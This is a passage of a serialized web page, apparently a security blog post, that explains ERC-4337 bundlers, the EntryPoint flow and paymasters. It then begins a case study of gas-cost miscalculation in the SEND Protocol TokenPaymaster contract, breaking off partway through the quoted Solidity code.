metadata",{"type":23,"tag":102,"props":103981,"children":103982},{},[103983,103985,103991],{"type":29,"value":103984},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":23,"tag":71,"props":103986,"children":103988},{"className":103987},[],[103989],{"type":29,"value":103990},"UserOperations",{"type":29,"value":103992}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":23,"tag":59,"props":103994,"children":103996},{"id":103995},"smart-contract-account",[103997],{"type":29,"value":103998},"Smart Contract Account",{"type":23,"tag":32,"props":104000,"children":104001},{},[104002,104004,104010,104011,104017],{"type":29,"value":104003},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":23,"tag":71,"props":104005,"children":104007},{"className":104006},[],[104008],{"type":29,"value":104009},"validateUserOp()",{"type":29,"value":112},{"type":23,"tag":71,"props":104012,"children":104014},{"className":104013},[],[104015],{"type":29,"value":104016},"executeUserOp()",{"type":29,"value":104018},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":23,"tag":59,"props":104020,"children":104022},{"id":104021},"bundler",[104023],{"type":29,"value":104024},"Bundler",{"type":23,"tag":32,"props":104026,"children":104027},{},[104028,104030,104035,104037,104043],{"type":29,"value":104029},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":23,"tag":71,"props":104031,"children":104033},{"className":104032},[],[104034],{"type":29,"value":103990},{"type":29,"value":104036},", packages them, and submits them in a single transaction to the ",{"type":23,"tag":71,"props":104038,"children":104040},{"className":104039},[],[104041],{"type":29,"value":104042},"EntryPoint",{"type":29,"value":104044}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":23,"tag":59,"props":104046,"children":104047},{"id":17050},[104048],{"type":23,"tag":71,"props":104049,"children":104051},{"className":104050},[],[104052],{"type":29,"value":104042},{"type":23,"tag":32,"props":104054,"children":104055},{},[104056,104057,104062,104064,104069,104071,104075,104077,104082],{"type":29,"value":980},{"type":23,"tag":71,"props":104058,"children":104060},{"className":104059},[],[104061],{"type":29,"value":104042},{"type":29,"value":104063}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":23,"tag":71,"props":104065,"children":104067},{"className":104066},[],[104068],{"type":29,"value":103990},{"type":29,"value":104070}," submitted by a ",{"type":23,"tag":2302,"props":104072,"children":104073},{},[104074],{"type":29,"value":104024},{"type":29,"value":104076},", the ",{"type":23,"tag":71,"props":104078,"children":104080},{"className":104079},[],[104081],{"type":29,"value":104042},{"type":29,"value":104083}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":23,"tag":32,"props":104085,"children":104086},{},[104087,104089,104094,104096,104100,104102,104107,104109,104115],{"type":29,"value":104088},"Once all operations have been processed, the ",{"type":23,"tag":71,"props":104090,"children":104092},{"className":104091},[],[104093],{"type":29,"value":104042},{"type":29,"value":104095}," calculates the total gas consumed and reimburses the ",{"type":23,"tag":2302,"props":104097,"children":104098},{},[104099],{"type":29,"value":104024},{"type":29,"value":104101},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":23,"tag":71,"props":104103,"children":104105},{"className":104104},[],[104106],{"type":29,"value":104042},{"type":29,"value":104108}," or from a ",{"type":23,"tag":71,"props":104110,"children":104112},{"className":104111},[],[104113],{"type":29,"value":104114},"paymaster",{"type":29,"value":104116}," that has agreed to sponsor the transaction.",{"type":23,"tag":59,"props":104118,"children":104119},{"id":104114},[104120],{"type":23,"tag":71,"props":104121,"children":104123},{"className":104122},[],[104124],{"type":29,"value":104125},"Paymaster",{"type":23,"tag":32,"props":104127,"children":104128},{},[104129,104131,104136],{"type":29,"value":104130},"A ",{"type":23,"tag":71,"props":104132,"children":104134},{"className":104133},[],[104135],{"type":29,"value":104114},{"type":29,"value":104137}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":23,"tag":98,"props":104139,"children":104140},{},[104141,104152],{"type":23,"tag":102,"props":104142,"children":104143},{},[104144,104150],{"type":23,"tag":71,"props":104145,"children":104147},{"className":104146},[],[104148],{"type":29,"value":104149},"validatePaymasterUserOp()",{"type":29,"value":104151}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":23,"tag":102,"props":104153,"children":104154},{},[104155,104161],{"type":23,"tag":71,"props":104156,"children":104158},{"className":104157},[],[104159],{"type":29,"value":104160},"postOp()",{"type":29,"value":104162},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":23,"tag":32,"props":104164,"children":104165},{},[104166,104168,104173],{"type":29,"value":104167},"By supporting both sponsorship and token-based gas payments, ",{"type":23,"tag":71,"props":104169,"children":104171},{"className":104170},[],[104172],{"type":29,"value":104114},{"type":29,"value":104174}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":23,"tag":24,"props":104176,"children":104178},{"id":104177},"understanding-the-entrypoints-flow",[104179,104181,104186],{"type":29,"value":104180},"Understanding the ",{"type":23,"tag":71,"props":104182,"children":104184},{"className":104183},[],[104185],{"type":29,"value":104042},{"type":29,"value":104187},"'s Flow",{"type":23,"tag":32,"props":104189,"children":104190},{},[104191,104193,104198,104199,104204,104206,104217,104219,104224,104225,104230],{"type":29,"value":104192},"When a bundler submits ",{"type":23,"tag":71,"props":104194,"children":104196},{"className":104195},[],[104197],{"type":29,"value":103990},{"type":29,"value":18736},{"type":23,"tag":71,"props":104200,"children":104202},{"className":104201},[],[104203],{"type":29,"value":104042},{"type":29,"value":104205}," contract via ",{"type":23,"tag":181,"props":104207,"children":104210},{"href":104208,"rel":104209},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[185],[104211],{"type":23,"tag":71,"props":104212,"children":104214},{"className":104213},[],[104215],{"type":29,"value":104216},"handleOps()",{"type":29,"value":104218},", the processing occurs in two main phases: ",{"type":23,"tag":2302,"props":104220,"children":104221},{},[104222],{"type":29,"value":104223},"Validation",{"type":29,"value":112},{"type":23,"tag":2302,"props":104226,"children":104227},{},[104228],{"type":29,"value":104229},"Execution",{"type":29,"value":312},{"type":23,"tag":59,"props":104232,"children":104234},{"id":104233},"validation-phase",[104235],{"type":29,"value":104236},"Validation Phase",{"type":23,"tag":32,"props":104238,"children":104239},{},[104240,104242,104247,104249,104255,104257,104263,104264,104269],{"type":29,"value":104241},"In this phase, the ",{"type":23,"tag":71,"props":104243,"children":104245},{"className":104244},[],[104246],{"type":29,"value":104042},{"type":29,"value":104248}," first validates all operations in the submitted ",{"type":23,"tag":71,"props":104250,"children":104252},{"className":104251},[],[104253],{"type":29,"value":104254},"UserOps",{"type":29,"value":104256}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":23,"tag":71,"props":104258,"children":104260},{"className":104259},[],[104261],{"type":29,"value":104262},"UserOp",{"type":29,"value":104076},{"type":23,"tag":71,"props":104265,"children":104267},{"className":104266},[],[104268],{"type":29,"value":104042},{"type":29,"value":218},{"type":23,"tag":144,"props":104271,"children":104272},{},[104273,104291,104309,104330,104342],{"type":23,"tag":102,"props":104274,"children":104275},{},[104276,104283,104285],{"type":23,"tag":181,"props":104277,"children":104280},{"href":104278,"rel":104279},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[185],[104281],{"type":29,"value":104282},"Calculates",{"type":29,"value":104284}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":23,"tag":71,"props":104286,"children":104288},{"className":104287},[],[104289],{"type":29,"value":104290},"maxFeePerGas",{"type":23,"tag":102,"props":104292,"children":104293},{},[104294,104301,104302,104307],{"type":23,"tag":181,"props":104295,"children":104298},{"href":104296,"rel":104297},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[185],[104299],{"type":29,"value":104300},"Calls",{"type":29,"value":3374},{"type":23,"tag":71,"props":104303,"children":104305},{"className":104304},[],[104306],{"type":29,"value":104009},{"type":29,"value":104308}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":23,"tag":102,"props":104310,"children":104311},{},[104312,104314,104321,104323,104328],{"type":29,"value":104313},"If no paymaster is specified, attempts to ",{"type":23,"tag":181,"props":104315,"children":104318},{"href":104316,"rel":104317},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[185],[104319],{"type":29,"value":104320},"deduct",{"type":29,"value":104322}," the prefund amount from the sender's ETH deposit in the ",{"type":23,"tag":71,"props":104324,"children":104326},{"className":104325},[],[104327],{"type":29,"value":104042},{"type":29,"value":104329}," (this can be partially refunded later if actual execution costs less)",{"type":23,"tag":102,"props":104331,"children":104332},{},[104333,104340],{"type":23,"tag":181,"props":104334,"children":104337},{"href":104335,"rel":104336},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[185],[104338],{"type":29,"value":104339},"Validates",{"type":29,"value":104341}," the nonce to prevent replay attacks",{"type":23,"tag":102,"props":104343,"children":104344},{},[104345,104347,104353,104355,104361,104362,104367],{"type":29,"value":104346},"If a paymaster is specified, it will ",{"type":23,"tag":181,"props":104348,"children":104351},{"href":104349,"rel":104350},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[185],[104352],{"type":29,"value":104320},{"type":29,"value":104354}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":23,"tag":181,"props":104356,"children":104359},{"href":104357,"rel":104358},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[185],[104360],{"type":29,"value":2985},{"type":29,"value":3374},{"type":23,"tag":71,"props":104363,"children":104365},{"className":104364},[],[104366],{"type":29,"value":104149},{"type":29,"value":104368}," on the paymaster contract to verify it will cover gas costs",{"type":23,"tag":32,"props":104370,"children":104371},{},[104372,104374,104379,104381,104386],{"type":29,"value":104373},"Only after all these validation checks pass will the ",{"type":23,"tag":71,"props":104375,"children":104377},{"className":104376},[],[104378],{"type":29,"value":104042},{"type":29,"value":104380}," move on to actually executing the ",{"type":23,"tag":71,"props":104382,"children":104384},{"className":104383},[],[104385],{"type":29,"value":103961},{"type":29,"value":104387},". This strict validation flow ensures that:",{"type":23,"tag":98,"props":104389,"children":104390},{},[104391,104396,104401,104406],{"type":23,"tag":102,"props":104392,"children":104393},{},[104394],{"type":29,"value":104395},"The operation is legitimate and authorized by the user",{"type":23,"tag":102,"props":104397,"children":104398},{},[104399],{"type":29,"value":104400},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":23,"tag":102,"props":104402,"children":104403},{},[104404],{"type":29,"value":104405},"The operation cannot be replayed",{"type":23,"tag":102,"props":104407,"children":104408},{},[104409],{"type":29,"value":104410},"All involved contracts (sender and paymaster) have approved the execution",{"type":23,"tag":32,"props":104412,"children":104413},{},[104414],{"type":29,"value":104415},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":23,"tag":59,"props":104417,"children":104419},{"id":104418},"execution-phase",[104420],{"type":29,"value":104421},"Execution Phase",{"type":23,"tag":32,"props":104423,"children":104424},{},[104425,104427,104432,104434,104441,104443,104448],{"type":29,"value":104426},"After all operations have passed validation, the ",{"type":23,"tag":71,"props":104428,"children":104430},{"className":104429},[],[104431],{"type":29,"value":104042},{"type":29,"value":104433}," begins the ",{"type":23,"tag":181,"props":104435,"children":104438},{"href":104436,"rel":104437},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[185],[104439],{"type":29,"value":104440},"execution",{"type":29,"value":104442}," phase, processing each ",{"type":23,"tag":71,"props":104444,"children":104446},{"className":104445},[],[104447],{"type":29,"value":103961},{"type":29,"value":104449}," individually. For each operation, the flow is:",{"type":23,"tag":144,"props":104451,"children":104452},{},[104453,104513,104559],{"type":23,"tag":102,"props":104454,"children":104455},{},[104456,104457,104462,104464,104470,104471,104477,104479],{"type":29,"value":980},{"type":23,"tag":71,"props":104458,"children":104460},{"className":104459},[],[104461],{"type":29,"value":104042},{"type":29,"value":104463}," makes a ",{"type":23,"tag":181,"props":104465,"children":104468},{"href":104466,"rel":104467},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[185],[104469],{"type":29,"value":2985},{"type":29,"value":58550},{"type":23,"tag":71,"props":104472,"children":104474},{"className":104473},[],[104475],{"type":29,"value":104476},"innerHandleOp()",{"type":29,"value":104478},", which:\n",{"type":23,"tag":98,"props":104480,"children":104481},{},[104482,104494,104499],{"type":23,"tag":102,"props":104483,"children":104484},{},[104485,104492],{"type":23,"tag":181,"props":104486,"children":104489},{"href":104487,"rel":104488},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[185],[104490],{"type":29,"value":104491},"Forwards",{"type":29,"value":104493}," the operation to the sender's smart account contract",{"type":23,"tag":102,"props":104495,"children":104496},{},[104497],{"type":29,"value":104498},"Executes the intended transaction(s) within the smart account",{"type":23,"tag":102,"props":104500,"children":104501},{},[104502,104504,104511],{"type":29,"value":104503},"Handles ",{"type":23,"tag":181,"props":104505,"children":104508},{"href":104506,"rel":104507},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[185],[104509],{"type":29,"value":104510},"post-execution",{"type":29,"value":104512}," tasks and cleanup",{"type":23,"tag":102,"props":104514,"children":104515},{},[104516,104518,104524,104526,104532,104533,104539,104541],{"type":29,"value":104517},"If a paymaster was used, ",{"type":23,"tag":71,"props":104519,"children":104521},{"className":104520},[],[104522],{"type":29,"value":104523},"Entrypoint",{"type":29,"value":104525}," will ",{"type":23,"tag":181,"props":104527,"children":104530},{"href":104528,"rel":104529},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[185],[104531],{"type":29,"value":2985},{"type":29,"value":3374},{"type":23,"tag":71,"props":104534,"children":104536},{"className":104535},[],[104537],{"type":29,"value":104538},"paymaster.postOp()",{"type":29,"value":104540}," to:\n",{"type":23,"tag":98,"props":104542,"children":104543},{},[104544,104549,104554],{"type":23,"tag":102,"props":104545,"children":104546},{},[104547],{"type":29,"value":104548},"Allow paymaster to finalize its accounting",{"type":23,"tag":102,"props":104550,"children":104551},{},[104552],{"type":29,"value":104553},"Process any refunds or additional charges",{"type":23,"tag":102,"props":104555,"children":104556},{},[104557],{"type":29,"value":104558},"Complete any paymaster-specific logic",{"type":23,"tag":102,"props":104560,"children":104561},{},[104562,104564,104569,104570,104577,104579],{"type":29,"value":104563},"Finally, after all operations are processed, the ",{"type":23,"tag":71,"props":104565,"children":104567},{"className":104566},[],[104568],{"type":29,"value":104042},{"type":29,"value":3374},{"type":23,"tag":181,"props":104571,"children":104574},{"href":104572,"rel":104573},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[185],[104575],{"type":29,"value":104576},"compensates",{"type":29,"value":104578}," the bundler for:\n",{"type":23,"tag":98,"props":104580,"children":104581},{},[104582,104587,104592],{"type":23,"tag":102,"props":104583,"children":104584},{},[104585],{"type":29,"value":104586},"Gas costs from executing all operations",{"type":23,"tag":102,"props":104588,"children":104589},{},[104590],{"type":29,"value":104591},"Overhead from submitting the batch transaction",{"type":23,"tag":102,"props":104593,"children":104594},{},[104595],{"type":29,"value":104596},"Any unused gas, which is refunded",{"type":23,"tag":32,"props":104598,"children":104599},{},[104600],{"type":29,"value":104601},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":23,"tag":32,"props":104603,"children":104604},{},[104605,104607,104612,104614,104620,104622,104627],{"type":29,"value":104606},"Now that we understand how the ",{"type":23,"tag":71,"props":104608,"children":104610},{"className":104609},[],[104611],{"type":29,"value":104042},{"type":29,"value":104613}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":23,"tag":71,"props":104615,"children":104617},{"className":104616},[],[104618],{"type":29,"value":104619},"paymasters",{"type":29,"value":104621}," that align with the ",{"type":23,"tag":71,"props":104623,"children":104625},{"className":104624},[],[104626],{"type":29,"value":104042},{"type":29,"value":104628},"'s execution model, leading to potential vulnerabilities.",{"type":23,"tag":37658,"props":104630,"children":104632},{"id":104631},"common-pitfalls-in-paymaster-implementation",[104633],{"type":29,"value":104634},"Common Pitfalls in Paymaster Implementation",{"type":23,"tag":32,"props":104636,"children":104637},{},[104638,104640,104645],{"type":29,"value":104639},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":23,"tag":71,"props":104641,"children":104643},{"className":104642},[],[104644],{"type":29,"value":104042},{"type":29,"value":104646}," to exploitation or griefing.",{"type":23,"tag":32,"props":104648,"children":104649},{},[104650,104652,104657],{"type":29,"value":104651},"In this section, we’ll walk through the ",{"type":23,"tag":2302,"props":104653,"children":104654},{},[104655],{"type":29,"value":104656},"two most common pitfalls",{"type":29,"value":104658}," we’ve observed in real-world paymaster implementations:",{"type":23,"tag":24,"props":104660,"children":104662},{"id":104661},"undercalculated-gas-costs",[104663],{"type":23,"tag":2302,"props":104664,"children":104665},{},[104666],{"type":29,"value":104667},"Undercalculated Gas Costs",{"type":23,"tag":32,"props":104669,"children":104670},{},[104671,104673,104678,104680,104685,104687,104692,104694,104701],{"type":29,"value":104672},"To understand this issue, let's first examine how gas penalties work in the ",{"type":23,"tag":71,"props":104674,"children":104676},{"className":104675},[],[104677],{"type":29,"value":104042},{"type":29,"value":104679},". When a ",{"type":23,"tag":71,"props":104681,"children":104683},{"className":104682},[],[104684],{"type":29,"value":103961},{"type":29,"value":104686}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":23,"tag":71,"props":104688,"children":104690},{"className":104689},[],[104691],{"type":29,"value":104042},{"type":29,"value":104693}," charges a ",{"type":23,"tag":181,"props":104695,"children":104698},{"href":104696,"rel":104697},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[185],[104699],{"type":29,"value":104700},"penalty of 10%",{"type":29,"value":104702}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":23,"tag":32,"props":104704,"children":104705},{},[104706],{"type":29,"value":104707},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":23,"tag":220,"props":104709,"children":104711},{"className":6813,"code":104710,"language":6812,"meta":7,"style":7},"contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n    function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n        internal\n        override\n        returns (bytes memory context, uint256 validationResult)\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n            require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n            uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n            uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n            require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n            uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n            if (dataLength == 32) {\n                uint256 clientSuppliedPrice =\n                    uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n                if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n                    // note: smaller number means 'more native asset per token'\n                    cachedPriceWithMarkup = clientSuppliedPrice;\n                }\n            }\n            uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n            tokenAmount += baseFee;\n            SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n            context = abi.encode(tokenAmount, userOp.sender);\n            validationResult =\n                _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n        }\n    }\n[...]\n    function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n        internal\n        override\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n            preCharge -= baseFee; // don't refund the base fee\n            uint256 _cachedPrice = updateCachedPrice(false);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n            // Refund tokens based on actual gas cost\n            uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n            uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n            if (preCharge > actualTokenNeeded) {\n                // If initially provided token amount is greater than the actual amount needed, refund the difference\n                SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n            } else if (preCharge \u003C actualTokenNeeded) {\n                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n                SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n            }\n\n            if (baseFee > 0) {\n                SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n            }\n\n            emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n            refillEntryPointDeposit(_cachedPrice);\n        }\n    }\n}\n",[104712],{"type":23,"tag":71,"props":104713,"children":104714},{"__ignoreMap":7},[104715,104759,104766,104823,104831,104839,104881,104888,104900,104922,104943,104973,105024,105054,105075,105113,105152,105169,105208,105232,105249,105292,105314,105331,105348,105355,105362,105388,105405,105440,105471,105483,105530,105537,105544,105551,105618,105625,105632,105639,105650,105669,105688,105752,105775,105808,105823,105858,105866,105905,105930,105951,105959,105986,106013,106021,106029,106071,106078,106085,106109,106125,106132,106139,106157,106170,106177,106185],{"type":23,"tag":230,"props":104716,"children":104717},{"class":232,"line":233},[104718,104722,104727,104732,104737,104741,104746,104750,104755],{"type":23,"tag":230,"props":104719,"children":104720},{"style":256},[104721],{"type":29,"value":91593},{"type":23,"tag":230,"props":104723,"children":104724},{"style":676},[104725],{"type":29,"value":104726}," TokenPaymaster",{"type":23,"tag":230,"props":104728,"children":104729},{"style":256},[104730],{"type":29,"value":104731}," is",{"type":23,"tag":230,"props":104733,"children":104734},{"style":676},[104735],{"type":29,"value":104736}," BasePaymaster",{"type":23,"tag":230,"props":104738,"children":104739},{"style":274},[104740],{"type":29,"value":684},{"type":23,"tag":230,"props":104742,"children":104743},{"style":676},[104744],{"type":29,"value":104745},"UniswapHelper",{"type":23,"tag":230,"props":104747,"children":104748},{"style":274},[104749],{"type":29,"value":684},{"type":23,"tag":230,"props":104751,"children":104752},{"style":676},[104753],{"type":29,"value":104754},"OracleHelper",{"type":23,"tag":230,"props":104756,"children":104757},{"style":274},[104758],{"type":29,"value":277},{"type":23,"tag":230,"props":104760,"children":104761},{"class":232,"line":243},[104762],{"type":23,"tag":230,"props":104763,"children":104764},{"style":274},[104765],{"type":29,"value":12649},{"type":23,"tag":230,"props":104767,"children":104768},{"class":232,"line":252},[104769,104773,104778,104782,104787,104792,104797,104801,104806,104810,104814,104819],{"type":23,"tag":230,"props":104770,"children":104771},{"style":256},[104772],{"type":29,"value":91610},{"type":23,"tag":230,"props":104774,"children":104775},{"style":294},[104776],{"type":29,"value":104777}," _validatePaymasterUserOp",{"type":23,"tag":230,"props":104779,"children":104780},{"style":274},[104781],{"type":29,"value":302},{"type":23,"tag":230,"props":104783,"children":104784},{"style":256},[104785],{"type":29,"value":104786},"PackedUserOperation",{"type":23,"tag":230,"props":104788,"children":104789},{"style":256},[104790],{"type":29,"value":104791}," calldata",{"type":23,"tag":230,"props":104793,"children":104794},{"style":262},[104795],{"type":29,"value":104796}," userOp",{"type":23,"tag":230,"props":104798,"children":104799},{"style":274},[104800],{"type":29,"value":684},{"type":23,"tag":230,"props":104802,"children":104803},{"style":676},[104804],{"type":29,"value":104805},"bytes32",{"type":23,"tag":230,"props":104807,"children":104808},{"style":274},[104809],{"type":29,"value":684},{"type":23,"tag":230,"props":104811,"children":104812},{"style":676},[104813],{"type":29,"value":47939},{"type":23,"tag":230,"props":104815,"children":104816},{"style":262},[104817],{"type":29,"value":104818}," requiredPreFund",{"type":23,"tag":230,"props":104820,"children":104821},{"style":274},[104822],{"type":29,"value":4516},{"type":23,"tag":230,"props":104824,"children":104825},{"class":232,"line":280},[104826],{"type":23,"tag":230,"props":104827,"children":104828},{"style":256},[104829],{"type":29,"value":104830},"        internal\n",{"type":23,"tag":230,"props":104832,"children":104833},{"class":232,"line":334},[104834],{"type":23,"tag":230,"props":104835,"children":104836},{"style":256},[104837],{"type":29,"value":104838},"        override\n",{"type":23,"tag":230,"props":104840,"children":104841},{"class":232,"line":371},[104842,104847,104851,104855,104860,104864,104868,104872,104877],{"type":23,"tag":230,"props":104843,"children":104844},{"style":866},[104845],{"type":29,"value":104846},"        returns",{"type":23,"tag":230,"props":104848,"children":104849},{"style":274},[104850],{"type":29,"value":664},{"type":23,"tag":230,"props":104852,"children":104853},{"style":676},[104854],{"type":29,"value":85607},{"type":23,"tag":230,"props":104856,"children":104857},{"style":256},[104858],{"type":29,"value":104859}," memory",{"type":23,"tag":230,"props":104861,"children":104862},{"style":262},[104863],{"type":29,"value":78119},{"type":23,"tag":230,"props":104865,"children":104866},{"style":274},[104867],{"type":29,"value":684},{"type":23,"tag":230,"props":104869,"children":104870},{"style":676},[104871],{"type":29,"value":47939},{"type":23,"tag":230,"props":104873,"children":104874},{"style":262},[104875],{"type":29,"value":104876}," validationResult",{"type":23,"tag":230,"props":104878,"children":104879},{"style":274},[104880],{"type":29,"value":4516},{"type":23,"tag":230,"props":104882,"children":104883},{"class":232,"line":391},[104884],{"type":23,"tag":230,"props":104885,"children":104886},{"style":274},[104887],{"type":29,"value":31494},{"type":23,"tag":230,"props":104889,"children":104890},{"class":232,"line":400},[104891,104896],{"type":23,"tag":230,"props":104892,"children":104893},{"style":866},[104894],{"type":29,"value":104895},"        unchecked",{"type":23,"tag":230,"props":104897,"children":104898},{"style":274},[104899],{"type":29,"value":277},{"type":23,"tag":230,"props":104901,"children":104902},{"class":232,"line":444},[104903,104908,104913,104917],{"type":23,"tag":230,"props":104904,"children":104905},{"style":676},[104906],{"type":29,"value":104907},"            uint256",{"type":23,"tag":230,"props":104909,"children":104910},{"style":274},[104911],{"type":29,"value":104912}," priceMarkup ",{"type":23,"tag":230,"props":104914,"children":104915},{"style":268},[104916],{"type":29,"value":863},{"type":23,"tag":230,"props":104918,"children":104919},{"style":274},[104920],{"type":29,"value":104921}," tokenPaymasterConfig.priceMarkup;\n",{"type":23,"tag":230,"props":104923,"children":104924},{"class":232,"line":453},[104925,104929,104934,104938],{"type":23,"tag":230,"props":104926,"children":104927},{"style":676},[104928],{"type":29,"value":104907},{"type":23,"tag":230,"props":104930,"children":104931},{"style":274},[104932],{"type":29,"value":104933}," baseFee ",{"type":23,"tag":230,"props":104935,"children":104936},{"style":268},[104937],{"type":29,"value":863},{"type":23,"tag":230,"props":104939,"children":104940},{"style":274},[104941],{"type":29,"value":104942}," tokenPaymasterConfig.baseFee;\n",{"type":23,"tag":230,"props":104944,"children":104945},{"class":232,"line":462},[104946,104950,104955,104959,104964,104968],{"type":23,"tag":230,"props":104947,"children":104948},{"style":676},[104949],{"type":29,"value":104907},{"type":23,"tag":230,"props":104951,"children":104952},{"style":274},[104953],{"type":29,"value":104954}," dataLength ",{"type":23,"tag":230,"props":104956,"children":104957},{"style":268},[104958],{"type":29,"value":863},{"type":23,"tag":230,"props":104960,"children":104961},{"style":274},[104962],{"type":29,"value":104963}," userOp.paymasterAndData.length ",{"type":23,"tag":230,"props":104965,"children":104966},{"style":268},[104967],{"type":29,"value":6665},{"type":23,"tag":230,"props":104969,"children":104970},{"style":274},[104971],{"type":29,"value":104972}," PAYMASTER_DATA_OFFSET;\n",{"type":23,"tag":230,"props":104974,"children":104975},{"class":232,"line":471},[104976,104981,104986,104990,104994,104998,105002,105006,105011,105015,105020],{"type":23,"tag":230,"props":104977,"children":104978},{"style":866},[104979],{"type":29,"value":104980},"            require",{"type":23,"tag":230,"props":104982,"children":104983},{"style":274},[104984],{"type":29,"value":104985},"(dataLength 